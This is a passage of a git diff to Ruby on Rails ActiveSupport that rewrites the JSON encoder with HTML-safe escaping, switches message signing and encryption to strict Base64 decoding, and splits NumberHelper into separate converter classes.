raise ArgumentError, "A copy of #{from_mod} has been removed from the module tree but is still active!"
end
- raise NameError, "#{from_mod} is not missing constant #{const_name}!" if from_mod.const_defined?(const_name, false)
-
qualified_name = qualified_name_for from_mod, const_name
path_suffix = qualified_name.underscore
diff --git a/activesupport/lib/active_support/duration.rb b/activesupport/lib/active_support/duration.rb
index 87b6407038..7df4857c25 100644
--- a/activesupport/lib/active_support/duration.rb
+++ b/activesupport/lib/active_support/duration.rb
@@ -99,6 +99,14 @@ module ActiveSupport
private
+ # We define it as a workaround to Ruby 2.0.0-p353 bug.
+ # For more information, check rails/rails#13055.
+ # It should be dropped once a new Ruby patch-level
+ # release after 2.0.0-p353 happens.
+ def ===(other) #:nodoc:
+ value === other
+ end
+
def method_missing(method, *args, &block) #:nodoc:
value.send(method, *args, &block)
end
diff --git a/activesupport/lib/active_support/i18n_railtie.rb b/activesupport/lib/active_support/i18n_railtie.rb
index 890dd9380b..dcdea70443 100644
--- a/activesupport/lib/active_support/i18n_railtie.rb
+++ b/activesupport/lib/active_support/i18n_railtie.rb
@@ -31,6 +31,11 @@ module I18n
fallbacks = app.config.i18n.delete(:fallbacks)
+ if app.config.i18n.has_key?(:enforce_available_locales)
+ # this option needs to be set before `default_locale=` to work properly.
+ I18n.enforce_available_locales = app.config.i18n.delete(:enforce_available_locales)
+ end
+
app.config.i18n.each do |setting, value|
case setting
when :railties_load_path
diff --git a/activesupport/lib/active_support/json/encoding.rb b/activesupport/lib/active_support/json/encoding.rb
index 0e1c379b5b..060dcb6995 100644
--- a/activesupport/lib/active_support/json/encoding.rb
+++ b/activesupport/lib/active_support/json/encoding.rb
@@ -1,5 +1,3 @@
-#encoding: us-ascii
-
require 'active_support/core_ext/object/json'
require 'active_support/core_ext/module/delegation'
@@ -8,6 +6,7 @@ module ActiveSupport
delegate :use_standard_json_time_format, :use_standard_json_time_format=,
:escape_html_entities_in_json, :escape_html_entities_in_json=,
:encode_big_decimal_as_string, :encode_big_decimal_as_string=,
+ :json_encoder, :json_encoder=,
:to => :'ActiveSupport::JSON::Encoding'
end
@@ -18,79 +17,127 @@ module ActiveSupport
# ActiveSupport::JSON.encode({ team: 'rails', players: '36' })
# # => "{\"team\":\"rails\",\"players\":\"36\"}"
def self.encode(value, options = nil)
- Encoding::Encoder.new(options).encode(value)
+ Encoding.json_encoder.new(options).encode(value)
end
module Encoding #:nodoc:
- class Encoder
+ class JSONGemEncoder #:nodoc:
attr_reader :options
def initialize(options = nil)
@options = options || {}
end
+ # Encode the given object into a JSON string
def encode(value)
- value.as_json(options.dup).encode_json(self)
+ stringify jsonify value.as_json(options.dup)
end
- def escape(string)
- Encoding.escape(string)
- end
- end
+ private
+ # Rails does more escaping than the JSON gem natively does (we
+ # escape \u2028 and \u2029 and optionally >, <, & to work around
+ # certain browser problems).
+ ESCAPED_CHARS = {
+ "\u2028" => '\u2028',
+ "\u2029" => '\u2029',
+ '>' => '\u003e',
+ '<' => '\u003c',
+ '&' => '\u0026',
+ }
+
+ ESCAPE_REGEX_WITH_HTML_ENTITIES = /[\u2028\u2029><&]/u
+ ESCAPE_REGEX_WITHOUT_HTML_ENTITIES = /[\u2028\u2029]/u
+
+ # This class wraps all the strings we see and does the extra escaping
+ class EscapedString < String #:nodoc:
+ def to_json(*)
+ if Encoding.escape_html_entities_in_json
+ super.gsub ESCAPE_REGEX_WITH_HTML_ENTITIES, ESCAPED_CHARS
+ else
+ super.gsub ESCAPE_REGEX_WITHOUT_HTML_ENTITIES, ESCAPED_CHARS
+ end
+ end
+ end
+
+ # Mark these as private so we don't leak encoding-specific constructs
+ private_constant :ESCAPED_CHARS, :ESCAPE_REGEX_WITH_HTML_ENTITIES,
+ :ESCAPE_REGEX_WITHOUT_HTML_ENTITIES, :EscapedString
+
+ # Recursively turn the given object into a "jsonified" Ruby data structure
+ # that the JSON gem understands - i.e. we want only Hash, Array, String,
+ # Numeric, true, false and nil in the final tree. Calls #as_json on it if
+ # it's not from one of these base types.
+ #
+ # This allows developers to implement #as_json withouth having to worry
+ # about what base types of objects they are allowed to return and having
+ # to remember calling #as_json recursively.
+ #
+ # By default, the options hash is not passed to the children data structures
+ # to avoid undesiarable result. Develoers must opt-in by implementing
+ # custom #as_json methods (e.g. Hash#as_json and Array#as_json).
+ def jsonify(value)
+ if value.is_a?(Hash)
+ Hash[value.map { |k, v| [jsonify(k), jsonify(v)] }]
+ elsif value.is_a?(Array)
+ value.map { |v| jsonify(v) }
+ elsif value.is_a?(String)
+ EscapedString.new(value)
+ elsif value.is_a?(Numeric)
+ value
+ elsif value == true
+ true
+ elsif value == false
+ false
+ elsif value == nil
+ nil
+ else
+ jsonify value.as_json
+ end
+ end
- ESCAPED_CHARS = {
- "\x00" => '\u0000', "\x01" => '\u0001', "\x02" => '\u0002',
- "\x03" => '\u0003', "\x04" => '\u0004', "\x05" => '\u0005',
- "\x06" => '\u0006', "\x07" => '\u0007', "\x0B" => '\u000B',
- "\x0E" => '\u000E', "\x0F" => '\u000F', "\x10" => '\u0010',
- "\x11" => '\u0011', "\x12" => '\u0012', "\x13" => '\u0013',
- "\x14" => '\u0014', "\x15" => '\u0015', "\x16" => '\u0016',
- "\x17" => '\u0017', "\x18" => '\u0018', "\x19" => '\u0019',
- "\x1A" => '\u001A', "\x1B" => '\u001B', "\x1C" => '\u001C',
- "\x1D" => '\u001D', "\x1E" => '\u001E', "\x1F" => '\u001F',
- "\010" => '\b',
- "\f" => '\f',
- "\n" => '\n',
- "\xe2\x80\xa8" => '\u2028',
- "\xe2\x80\xa9" => '\u2029',
- "\r" => '\r',
- "\t" => '\t',
- '"' => '\"',
- '\\' => '\\\\',
- '>' => '\u003E',
- '<' => '\u003C',
- '&' => '\u0026',
- "#{0xe2.chr}#{0x80.chr}#{0xa8.chr}" => '\u2028',
- "#{0xe2.chr}#{0x80.chr}#{0xa9.chr}" => '\u2029',
- }
+ # Encode a "jsonified" Ruby data structure using the JSON gem
+ def stringify(jsonified)
+ ::JSON.generate(jsonified, quirks_mode: true, max_nesting: false)
+ end
+ end
class << self
# If true, use ISO 8601 format for dates and times. Otherwise, fall back
# to the Active Support legacy format.
attr_accessor :use_standard_json_time_format
- # If false, serializes BigDecimal objects as numeric instead of wrapping
- # them in a string.
- attr_accessor :encode_big_decimal_as_string
+ # If true, encode >, <, & as escaped unicode sequences (e.g. > as \u003e)
+ # as a safety measure.
+ attr_accessor :escape_html_entities_in_json
- attr_accessor :escape_regex
- attr_reader :escape_html_entities_in_json
+ # Sets the encoder used by Rails to encode Ruby objects into JSON strings
+ # in +Object#to_json+ and +ActiveSupport::JSON.encode+.
+ attr_accessor :json_encoder
- def escape_html_entities_in_json=(value)
- self.escape_regex = \
- if @escape_html_entities_in_json = value
- /\xe2\x80\xa8|\xe2\x80\xa9|[\x00-\x1F"\\><&]/
- else
- /\xe2\x80\xa8|\xe2\x80\xa9|[\x00-\x1F"\\]/
- end
+ def encode_big_decimal_as_string=(as_string)
+ message = \
+ "The JSON encoder in Rails 4.1 no longer supports encoding BigDecimals as JSON numbers. Instead, " \
+ "the new encoder will always encode them as strings.\n\n" \
+ "You are seeing this error because you have 'active_support.encode_big_decimal_as_string' in " \
+ "your configuration file. If you have been setting this to true, you can safely remove it from " \
+ "your configuration. Otherwise, you should add the 'activesupport-json_encoder' gem to your " \
+ "Gemfile in order to restore this functionality."
+
+ raise NotImplementedError, message
end
- def escape(string)
- string = string.encode(::Encoding::UTF_8, :undef => :replace).force_encoding(::Encoding::BINARY)
- json = string.gsub(escape_regex) { |s| ESCAPED_CHARS[s] }
- json = %("#{json}")
- json.force_encoding(::Encoding::UTF_8)
- json
+ def encode_big_decimal_as_string
+ message = \
+ "The JSON encoder in Rails 4.1 no longer supports encoding BigDecimals as JSON numbers. Instead, " \
+ "the new encoder will always encode them as strings.\n\n" \
+ "You are seeing this error because you are trying to check the value of the related configuration, " \
+ "'active_support.encode_big_decimal_as_string'. If your application depends on this option, you should " \
+ "add the 'activesupport-json_encoder' gem to your Gemfile. For now, this option will always be true. " \
+ "In the future, it will be removed from Rails, so you should stop checking its value."
+
+ ActiveSupport::Deprecation.warn message
+
+ true
end
# Deprecate CircularReferenceError
@@ -118,7 +165,7 @@ module ActiveSupport
self.use_standard_json_time_format = true
self.escape_html_entities_in_json = true
- self.encode_big_decimal_as_string = true
+ self.json_encoder = JSONGemEncoder
end
end
end
diff --git a/activesupport/lib/active_support/logger.rb b/activesupport/lib/active_support/logger.rb
index 4a55bbb350..33fccdcf95 100644
--- a/activesupport/lib/active_support/logger.rb
+++ b/activesupport/lib/active_support/logger.rb
@@ -1,4 +1,4 @@
-require 'active_support/core_ext/class/attribute_accessors'
+require 'active_support/core_ext/module/attribute_accessors'
require 'active_support/logger_silence'
require 'logger'
diff --git a/activesupport/lib/active_support/message_encryptor.rb b/activesupport/lib/active_support/message_encryptor.rb
index bffdfc6201..7773611e11 100644
--- a/activesupport/lib/active_support/message_encryptor.rb
+++ b/activesupport/lib/active_support/message_encryptor.rb
@@ -76,12 +76,12 @@ module ActiveSupport
encrypted_data = cipher.update(@serializer.dump(value))
encrypted_data << cipher.final
- [encrypted_data, iv].map {|v| ::Base64.strict_encode64(v)}.join("--")
+ "#{::Base64.strict_encode64 encrypted_data}--#{::Base64.strict_encode64 iv}"
end
def _decrypt(encrypted_message)
cipher = new_cipher
- encrypted_data, iv = encrypted_message.split("--").map {|v| ::Base64.decode64(v)}
+ encrypted_data, iv = encrypted_message.split("--").map {|v| ::Base64.strict_decode64(v)}
cipher.decrypt
cipher.key = @secret
@@ -91,7 +91,7 @@ module ActiveSupport
decrypted_data << cipher.final
@serializer.load(decrypted_data)
- rescue OpenSSLCipherError, TypeError
+ rescue OpenSSLCipherError, TypeError, ArgumentError
raise InvalidMessage
end
diff --git a/activesupport/lib/active_support/message_verifier.rb b/activesupport/lib/active_support/message_verifier.rb
index e0cd92ae3c..a35d5980fe 100644
--- a/activesupport/lib/active_support/message_verifier.rb
+++ b/activesupport/lib/active_support/message_verifier.rb
@@ -37,7 +37,11 @@ module ActiveSupport
data, digest = signed_message.split("--")
if data.present? && digest.present? && secure_compare(digest, generate_digest(data))
- @serializer.load(::Base64.decode64(data))
+ begin
+ @serializer.load(::Base64.strict_decode64(data))
+ rescue ArgumentError
+ raise InvalidSignature
+ end
else
raise InvalidSignature
end
diff --git a/activesupport/lib/active_support/number_helper.rb b/activesupport/lib/active_support/number_helper.rb
index e0151baa36..c6658dba96 100644
--- a/activesupport/lib/active_support/number_helper.rb
+++ b/activesupport/lib/active_support/number_helper.rb
@@ -1,115 +1,20 @@
-require 'active_support/core_ext/big_decimal/conversions'
-require 'active_support/core_ext/object/blank'
-require 'active_support/core_ext/hash/keys'
-require 'active_support/i18n'
module ActiveSupport
module NumberHelper
- extend self
-
- DEFAULTS = {
- # Used in number_to_delimited
- # These are also the defaults for 'currency', 'percentage', 'precision', and 'human'
- format: {
- # Sets the separator between the units, for more precision (e.g. 1.0 / 2.0 == 0.5)
- separator: ".",
- # Delimits thousands (e.g. 1,000,000 is a million) (always in groups of three)
- delimiter: ",",
- # Number of decimals, behind the separator (the number 1 with a precision of 2 gives: 1.00)
- precision: 3,
- # If set to true, precision will mean the number of significant digits instead
- # of the number of decimal digits (1234 with precision 2 becomes 1200, 1.23543 becomes 1.2)
- significant: false,
- # If set, the zeros after the decimal separator will always be stripped (eg.: 1.200 will be 1.2)
- strip_insignificant_zeros: false
- },
-
- # Used in number_to_currency
- currency: {
- format: {
- format: "%u%n",
- negative_format: "-%u%n",
- unit: "$",
- # These five are to override number.format and are optional
- separator: ".",
- delimiter: ",",
- precision: 2,
- significant: false,
- strip_insignificant_zeros: false
- }
- },
-
- # Used in number_to_percentage
- percentage: {
- format: {
- delimiter: "",
- format: "%n%"
- }
- },
-
- # Used in number_to_rounded
- precision: {
- format: {
- delimiter: ""
- }
- },
-
- # Used in number_to_human_size and number_to_human
- human: {
- format: {
- # These five are to override number.format and are optional
- delimiter: "",
- precision: 3,
- significant: true,
- strip_insignificant_zeros: true
- },
- # Used in number_to_human_size
- storage_units: {
- # Storage units output formatting.
- # %u is the storage unit, %n is the number (default: 2 MB)
- format: "%n %u",
- units: {
- byte: "Bytes",
- kb: "KB",
- mb: "MB",
- gb: "GB",
- tb: "TB"
- }
- },
- # Used in number_to_human
- decimal_units: {
- format: "%n %u",
- # Decimal units output formatting
- # By default we will only quantify some of the exponents
- # but the commented ones might be defined or overridden
- # by the user.
- units: {
- # femto: Quadrillionth
- # pico: Trillionth
- # nano: Billionth
- # micro: Millionth
- # mili: Thousandth
- # centi: Hundredth
- # deci: Tenth
- unit: "",
- # ten:
- # one: Ten
- # other: Tens
- # hundred: Hundred
- thousand: "Thousand",
- million: "Million",
- billion: "Billion",
- trillion: "Trillion",
- quadrillion: "Quadrillion"
- }
- }
- }
- }
+ extend ActiveSupport::Autoload
+
+ eager_autoload do
+ autoload :NumberConverter
+ autoload :NumberToRoundedConverter
+ autoload :NumberToDelimitedConverter
+ autoload :NumberToHumanConverter
+ autoload :NumberToHumanSizeConverter
+ autoload :NumberToPhoneConverter
+ autoload :NumberToCurrencyConverter
+ autoload :NumberToPercentageConverter
+ end
- DECIMAL_UNITS = { 0 => :unit, 1 => :ten, 2 => :hundred, 3 => :thousand, 6 => :million, 9 => :billion, 12 => :trillion, 15 => :quadrillion,
- -1 => :deci, -2 => :centi, -3 => :mili, -6 => :micro, -9 => :nano, -12 => :pico, -15 => :femto }
- INVERTED_DECIMAL_UNITS = DECIMAL_UNITS.invert
- STORAGE_UNITS = [:byte, :kb, :mb, :gb, :tb]
+ extend self
# Formats a +number+ into a US phone number (e.g., (555)
# 123-9876). You can customize the format in the +options+ hash.
@@ -137,27 +42,7 @@ module ActiveSupport
# number_to_phone(1235551234, country_code: 1, extension: 1343, delimiter: '.')
# # => +1.123.555.1234 x 1343
def number_to_phone(number, options = {})
- return unless number
- options = options.symbolize_keys
-
- number = number.to_s.strip
- area_code = options[:area_code]
- delimiter = options[:delimiter] || "-"
- extension = options[:extension]
- country_code = options[:country_code]
-
- if area_code
- number.gsub!(/(\d{1,3})(\d{3})(\d{4}$)/,"(\\1) \\2#{delimiter}\\3")
- else
- number.gsub!(/(\d{0,3})(\d{3})(\d{4})$/,"\\1#{delimiter}\\2#{delimiter}\\3")
- number.slice!(0, 1) if number.start_with?(delimiter) && !delimiter.blank?
- end
-
- str = ''
- str << "+#{country_code}#{delimiter}" unless country_code.blank?
- str << number
- str << " x #{extension}" unless extension.blank?
- str
+ NumberToPhoneConverter.convert(number, options)
end
# Formats a +number+ into a currency string (e.g., $13.65). You
@@ -199,25 +84,7 @@ module ActiveSupport
# number_to_currency(1234567890.50, unit: '&pound;', separator: ',', delimiter: '', format: '%n %u')
# # => 1234567890,50 &pound;
def number_to_currency(number, options = {})
- return unless number
- options = options.symbolize_keys
-
- currency = i18n_format_options(options[:locale], :currency)
- currency[:negative_format] ||= "-" + currency[:format] if currency[:format]
-
- defaults = default_format_options(:currency).merge!(currency)
- defaults[:negative_format] = "-" + options[:format] if options[:format]
- options = defaults.merge!(options)
-
- unit = options.delete(:unit)
- format = options.delete(:format)
-
- if number.to_f.phase != 0
- format = options.delete(:negative_format)
- number = number.respond_to?("abs") ? number.abs : number.sub(/^-/, '')
- end
-
- format.gsub('%n', self.number_to_rounded(number, options)).gsub('%u', unit)
+ NumberToCurrencyConverter.convert(number, options)
end
# Formats a +number+ as a percentage string (e.g., 65%). You can
@@ -253,14 +120,7 @@ module ActiveSupport
# number_to_percentage('98a') # => 98a%
# number_to_percentage(100, format: '%n %') # => 100 %
def number_to_percentage(number, options = {})
- return unless number
- options = options.symbolize_keys
-
- defaults = format_options(options[:locale], :percentage)
- options = defaults.merge!(options)
-
- format = options[:format] || "%n%"
- format.gsub('%n', self.number_to_rounded(number, options))
+ NumberToPercentageConverter.convert(number, options)
end
# Formats a +number+ with grouped thousands using +delimiter+
@@ -289,15 +149,7 @@ module ActiveSupport
# number_to_delimited(98765432.98, delimiter: ' ', separator: ',')
# # => 98 765 432,98
def number_to_delimited(number, options = {})
- options = options.symbolize_keys
-
- return number unless valid_float?(number)
-
- options = format_options(options[:locale]).merge!(options)
-
- parts = number.to_s.split('.')
- parts[0].gsub!(/(\d)(?=(\d\d\d)+(?!\d))/, "\\1#{options[:delimiter]}")
- parts.join(options[:separator])
+ NumberToDelimitedConverter.convert(number, options)
end
# Formats a +number+ with the specified level of
@@ -340,39 +192,7 @@ module ActiveSupport
# number_to_rounded(1111.2345, precision: 2, separator: ',', delimiter: '.')
# # => 1.111,23
def number_to_rounded(number, options = {})
- return number unless valid_float?(number)
- number = Float(number)
- options = options.symbolize_keys
-
- defaults = format_options(options[:locale], :precision)
- options = defaults.merge!(options)
-
- precision = options.delete :precision
- significant = options.delete :significant
- strip_insignificant_zeros = options.delete :strip_insignificant_zeros
-
- if significant && precision > 0
- if number == 0
- digits, rounded_number = 1, 0
- else
- digits = (Math.log10(number.abs) + 1).floor
- multiplier = 10 ** (digits - precision)
- rounded_number = (BigDecimal.new(number.to_s) / BigDecimal.new(multiplier.to_f.to_s)).round.to_f * multiplier
- digits = (Math.log10(rounded_number.abs) + 1).floor # After rounding, the number of digits may have changed
- end
- precision -= digits
- precision = 0 if precision < 0 # don't let it be negative
- else
- rounded_number = BigDecimal.new(number.to_s).round(precision).to_f
- rounded_number = rounded_number.abs if rounded_number.zero? # prevent showing negative zeros
- end
- formatted_number = self.number_to_delimited("%01.#{precision}f" % rounded_number, options)
- if strip_insignificant_zeros
- escaped_separator = Regexp.escape(options[:separator])
- formatted_number.sub(/(#{escaped_separator})(\d*[1-9])?0+\z/, '\1\2').sub(/#{escaped_separator}\z/, '')
- else
- formatted_number
- end
+ NumberToRoundedConverter.convert(number, options)
end
# Formats the bytes in +number+ into a more understandable
@@ -420,36 +240,7 @@ module ActiveSupport
# number_to_human_size(1234567890123, precision: 5) # => "1.1229 TB"
# number_to_human_size(524288000, precision: 5) # => "500 MB"
def number_to_human_size(number, options = {})
- options = options.symbolize_keys
-
- return number unless valid_float?(number)
- number = Float(number)
-
- defaults = format_options(options[:locale], :human)
- options = defaults.merge!(options)
-
- #for backwards compatibility with those that didn't add strip_insignificant_zeros to their locale files
- options[:strip_insignificant_zeros] = true if not options.key?(:strip_insignificant_zeros)
-
- storage_units_format = translate_number_value_with_default('human.storage_units.format', :locale => options[:locale], :raise => true)
-
- base = options[:prefix] == :si ? 1000 : 1024
-
- if number.to_i < base
- unit = translate_number_value_with_default('human.storage_units.units.byte', :locale => options[:locale], :count => number.to_i, :raise => true)
- storage_units_format.gsub(/%n/, number.to_i.to_s).gsub(/%u/, unit)
- else
- max_exp = STORAGE_UNITS.size - 1
- exponent = (Math.log(number) / Math.log(base)).to_i # Convert to base
- exponent = max_exp if exponent > max_exp # we need this to avoid overflow for the highest unit
- number /= base ** exponent
-
- unit_key = STORAGE_UNITS[exponent]
- unit = translate_number_value_with_default("human.storage_units.units.#{unit_key}", :locale => options[:locale], :count => number, :raise => true)
-
- formatted_number = self.number_to_rounded(number, options)
- storage_units_format.gsub(/%n/, formatted_number).gsub(/%u/, unit)
- end
+ NumberToHumanSizeConverter.convert(number, options)
end
# Pretty prints (formats and approximates) a number in a way it
@@ -550,86 +341,8 @@ module ActiveSupport
# number_to_human(1, units: :distance) # => "1 meter"
# number_to_human(0.34, units: :distance) # => "34 centimeters"
def number_to_human(number, options = {})
- options = options.symbolize_keys
-
- return number unless valid_float?(number)
- number = Float(number)
-
- defaults = format_options(options[:locale], :human)
- options = defaults.merge!(options)
-
- #for backwards compatibility with those that didn't add strip_insignificant_zeros to their locale files
- options[:strip_insignificant_zeros] = true if not options.key?(:strip_insignificant_zeros)
-
- units = options.delete :units
- unit_exponents = case units
- when Hash
- units
- when String, Symbol
- I18n.translate(:"#{units}", :locale => options[:locale], :raise => true)
- when nil
- translate_number_value_with_default("human.decimal_units.units", :locale => options[:locale], :raise => true)
- else
- raise ArgumentError, ":units must be a Hash or String translation scope."
- end.keys.map!{|e_name| INVERTED_DECIMAL_UNITS[e_name] }.sort_by!{|e| -e}
-
- number_exponent = number != 0 ? Math.log10(number.abs).floor : 0
- display_exponent = unit_exponents.find{ |e| number_exponent >= e } || 0
- number /= 10 ** display_exponent
-
- unit = case units
- when Hash
- units[DECIMAL_UNITS[display_exponent]] || ''
- when String, Symbol
- I18n.translate(:"#{units}.#{DECIMAL_UNITS[display_exponent]}", :locale => options[:locale], :count => number.to_i)
- else
- translate_number_value_with_default("human.decimal_units.units.#{DECIMAL_UNITS[display_exponent]}", :locale => options[:locale], :count => number.to_i)
- end
-
- decimal_format = options[:format] || translate_number_value_with_default('human.decimal_units.format', :locale => options[:locale])
- formatted_number = self.number_to_rounded(number, options)
- decimal_format.gsub(/%n/, formatted_number).gsub(/%u/, unit).strip
+ NumberToHumanConverter.convert(number, options)
end
- def self.private_module_and_instance_method(method_name) #:nodoc:
- private method_name
- private_class_method method_name
- end
- private_class_method :private_module_and_instance_method
-
- def format_options(locale, namespace = nil) #:nodoc:
- default_format_options(namespace).merge!(i18n_format_options(locale, namespace))
- end
- private_module_and_instance_method :format_options
-
- def default_format_options(namespace = nil) #:nodoc:
- options = DEFAULTS[:format].dup
- options.merge!(DEFAULTS[namespace][:format]) if namespace
- options
- end
- private_module_and_instance_method :default_format_options
-
- def i18n_format_options(locale, namespace = nil) #:nodoc:
- options = I18n.translate(:'number.format', locale: locale, default: {}).dup
- if namespace
- options.merge!(I18n.translate(:"number.#{namespace}.format", locale: locale, default: {}))
- end
- options
- end
- private_module_and_instance_method :i18n_format_options
-
- def translate_number_value_with_default(key, i18n_options = {}) #:nodoc:
- default = key.split('.').reduce(DEFAULTS) { |defaults, k| defaults[k.to_sym] }
-
- I18n.translate(key, { default: default, scope: :number }.merge!(i18n_options))
- end
- private_module_and_instance_method :translate_number_value_with_default
-
- def valid_float?(number) #:nodoc:
- Float(number)
- rescue ArgumentError, TypeError
- false
- end
- private_module_and_instance_method :valid_float?
end
end
diff --git a/activesupport/lib/active_support/number_helper/number_converter.rb b/activesupport/lib/active_support/number_helper/number_converter.rb
new file mode 100644
index 0000000000..9d976f1831
--- /dev/null
+++ b/activesupport/lib/active_support/number_helper/number_converter.rb
@@ -0,0 +1,182 @@
+require 'active_support/core_ext/big_decimal/conversions'
+require 'active_support/core_ext/object/blank'
+require 'active_support/core_ext/hash/keys'
+require 'active_support/i18n'
+require 'active_support/core_ext/class/attribute'
+
+module ActiveSupport
+ module NumberHelper
+ class NumberConverter # :nodoc:
+ # Default and i18n option namespace per class
+ class_attribute :namespace
+
+ # Does the object need a number that is a valid float?
+ class_attribute :validate_float
+
+ attr_reader :number, :opts
+
+ DEFAULTS = {
+ # Used in number_to_delimited
+ # These are also the defaults for 'currency', 'percentage', 'precision', and 'human'
+ format: {
+ # Sets the separator between the units, for more precision (e.g. 1.0 / 2.0 == 0.5)
+ separator: ".",
+ # Delimits thousands (e.g. 1,000,000 is a million) (always in groups of three)
+ delimiter: ",",
+ # Number of decimals, behind the separator (the number 1 with a precision of 2 gives: 1.00)
+ precision: 3,
+ # If set to true, precision will mean the number of significant digits instead
+ # of the number of decimal digits (1234 with precision 2 becomes 1200, 1.23543 becomes 1.2)
+ significant: false,
+ # If set, the zeros after the decimal separator will always be stripped (eg.: 1.200 will be 1.2)
+ strip_insignificant_zeros: false
+ },
+
+ # Used in number_to_currency
+ currency: {
+ format: {
+ format: "%u%n",
+ negative_format: "-%u%n",
+ unit: "$",
+ # These five are to override number.format and are optional
+ separator: ".",
+ delimiter: ",",
+ precision: 2,
+ significant: false,
+ strip_insignificant_zeros: false
+ }
+ },
+
+ # Used in number_to_percentage
+ percentage: {
+ format: {
+ delimiter: "",
+ format: "%n%"
+ }
+ },
+
+ # Used in number_to_rounded
+ precision: {
+ format: {
+ delimiter: ""
+ }
+ },
+
+ # Used in number_to_human_size and number_to_human
+ human: {
+ format: {
+ # These five are to override number.format and are optional
+ delimiter: "",
+ precision: 3,
+ significant: true,
+ strip_insignificant_zeros: true
+ },
+ # Used in number_to_human_size
+ storage_units: {
+ # Storage units output formatting.
+ # %u is the storage unit, %n is the number (default: 2 MB)
+ format: "%n %u",
+ units: {
+ byte: "Bytes",
+ kb: "KB",
+ mb: "MB",
+ gb: "GB",
+ tb: "TB"
+ }
+ },
+ # Used in number_to_human
+ decimal_units: {
+ format: "%n %u",
+ # Decimal units output formatting
+ # By default we will only quantify some of the exponents
+ # but the commented ones might be defined or overridden
+ # by the user.
+ units: {
+ # femto: Quadrillionth
+ # pico: Trillionth
+ # nano: Billionth
+ # micro: Millionth
+ # mili: Thousandth
+ # centi: Hundredth
+ # deci: Tenth
+ unit: "",
+ # ten:
+ # one: Ten
+ # other: Tens
+ # hundred: Hundred
+ thousand: "Thousand",
+ million: "Million",
+ billion: "Billion",
+ trillion: "Trillion",
+ quadrillion: "Quadrillion"
+ }
+ }
+ }
+ }
+
+ def self.convert(number, options)
+ new(number, options).execute
+ end
+
+ def initialize(number, options)
+ @number = number
+ @opts = options.symbolize_keys
+ end
+
+ def execute
+ if !number
+ nil
+ elsif validate_float? && !valid_float?
+ number
+ else
+ convert
+ end
+ end
+
+ private
+
+ def options
+ @options ||= format_options.merge(opts)
+ end
+
+ def format_options #:nodoc:
+ default_format_options.merge!(i18n_format_options)
+ end
+
+ def default_format_options #:nodoc:
+ options = DEFAULTS[:format].dup
+ options.merge!(DEFAULTS[namespace][:format]) if namespace
+ options
+ end
+
+ def i18n_format_options #:nodoc:
+ locale = opts[:locale]
+ options = I18n.translate(:'number.format', locale: locale, default: {}).dup
+
+ if namespace
+ options.merge!(I18n.translate(:"number.#{namespace}.format", locale: locale, default: {}))
+ end
+
+ options
+ end
+
+ def translate_number_value_with_default(key, i18n_options = {}) #:nodoc:
+ I18n.translate(key, { default: default_value(key), scope: :number }.merge!(i18n_options))
+ end
+
+ def translate_in_locale(key, i18n_options = {})
+ translate_number_value_with_default(key, { locale: options[:locale] }.merge(i18n_options))
+ end
+
+ def default_value(key)
+ key.split('.').reduce(DEFAULTS) { |defaults, k| defaults[k.to_sym] }
+ end
+
+ def valid_float? #:nodoc:
+ Float(number)
+ rescue ArgumentError, TypeError
+ false
+ end
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/number_helper/number_to_currency_converter.rb b/activesupport/lib/active_support/number_helper/number_to_currency_converter.rb
new file mode 100644
index 0000000000..9ae27a896a
--- /dev/null
+++ b/activesupport/lib/active_support/number_helper/number_to_currency_converter.rb
@@ -0,0 +1,46 @@
+module ActiveSupport
+ module NumberHelper
+ class NumberToCurrencyConverter < NumberConverter # :nodoc:
+ self.namespace = :currency
+
+ def convert
+ number = self.number.to_s.strip
+ format = options[:format]
+
+ if is_negative?(number)
+ format = options[:negative_format]
+ number = absolute_value(number)
+ end
+
+ rounded_number = NumberToRoundedConverter.convert(number, options)
+ format.gsub('%n', rounded_number).gsub('%u', options[:unit])
+ end
+
+ private
+
+ def is_negative?(number)
+ number.to_f.phase != 0
+ end
+
+ def absolute_value(number)
+ number.respond_to?("abs") ? number.abs : number.sub(/\A-/, '')
+ end
+
+ def options
+ @options ||= begin
+ defaults = default_format_options.merge(i18n_opts)
+ # Override negative format if format options is given
+ defaults[:negative_format] = "-#{opts[:format]}" if opts[:format]
+ defaults.merge!(opts)
+ end
+ end
+
+ def i18n_opts
+ # Set International negative format if not exists
+ i18n = i18n_format_options
+ i18n[:negative_format] ||= "-#{i18n[:format]}" if i18n[:format]
+ i18n
+ end
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/number_helper/number_to_delimited_converter.rb b/activesupport/lib/active_support/number_helper/number_to_delimited_converter.rb
new file mode 100644
index 0000000000..6405afc9a6
--- /dev/null
+++ b/activesupport/lib/active_support/number_helper/number_to_delimited_converter.rb
@@ -0,0 +1,21 @@
+module ActiveSupport
+ module NumberHelper
+ class NumberToDelimitedConverter < NumberConverter #:nodoc:
+ self.validate_float = true
+
+ DELIMITED_REGEX = /(\d)(?=(\d\d\d)+(?!\d))/
+
+ def convert
+ parts.join(options[:separator])
+ end
+
+ private
+
+ def parts
+ left, right = number.to_s.split('.')
+ left.gsub!(DELIMITED_REGEX) { "#{$1}#{options[:delimiter]}" }
+ [left, right].compact
+ end
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/number_helper/number_to_human_converter.rb b/activesupport/lib/active_support/number_helper/number_to_human_converter.rb
new file mode 100644
index 0000000000..9a3dc526ae
--- /dev/null
+++ b/activesupport/lib/active_support/number_helper/number_to_human_converter.rb
@@ -0,0 +1,66 @@
+module ActiveSupport
+ module NumberHelper
+ class NumberToHumanConverter < NumberConverter # :nodoc:
+ DECIMAL_UNITS = { 0 => :unit, 1 => :ten, 2 => :hundred, 3 => :thousand, 6 => :million, 9 => :billion, 12 => :trillion, 15 => :quadrillion,
+ -1 => :deci, -2 => :centi, -3 => :mili, -6 => :micro, -9 => :nano, -12 => :pico, -15 => :femto }
+ INVERTED_DECIMAL_UNITS = DECIMAL_UNITS.invert
+
+ self.namespace = :human
+ self.validate_float = true
+
+ def convert # :nodoc:
+ @number = Float(number)
+
+ # for backwards compatibility with those that didn't add strip_insignificant_zeros to their locale files
+ unless options.key?(:strip_insignificant_zeros)
+ options[:strip_insignificant_zeros] = true
+ end
+
+ units = opts[:units]
+ exponent = calculate_exponent(units)
+ @number = number / (10 ** exponent)
+
+ unit = determine_unit(units, exponent)
+
+ rounded_number = NumberToRoundedConverter.convert(number, options)
+ format.gsub(/%n/, rounded_number).gsub(/%u/, unit).strip
+ end
+
+ private
+
+ def format
+ options[:format] || translate_in_locale('human.decimal_units.format')
+ end
+
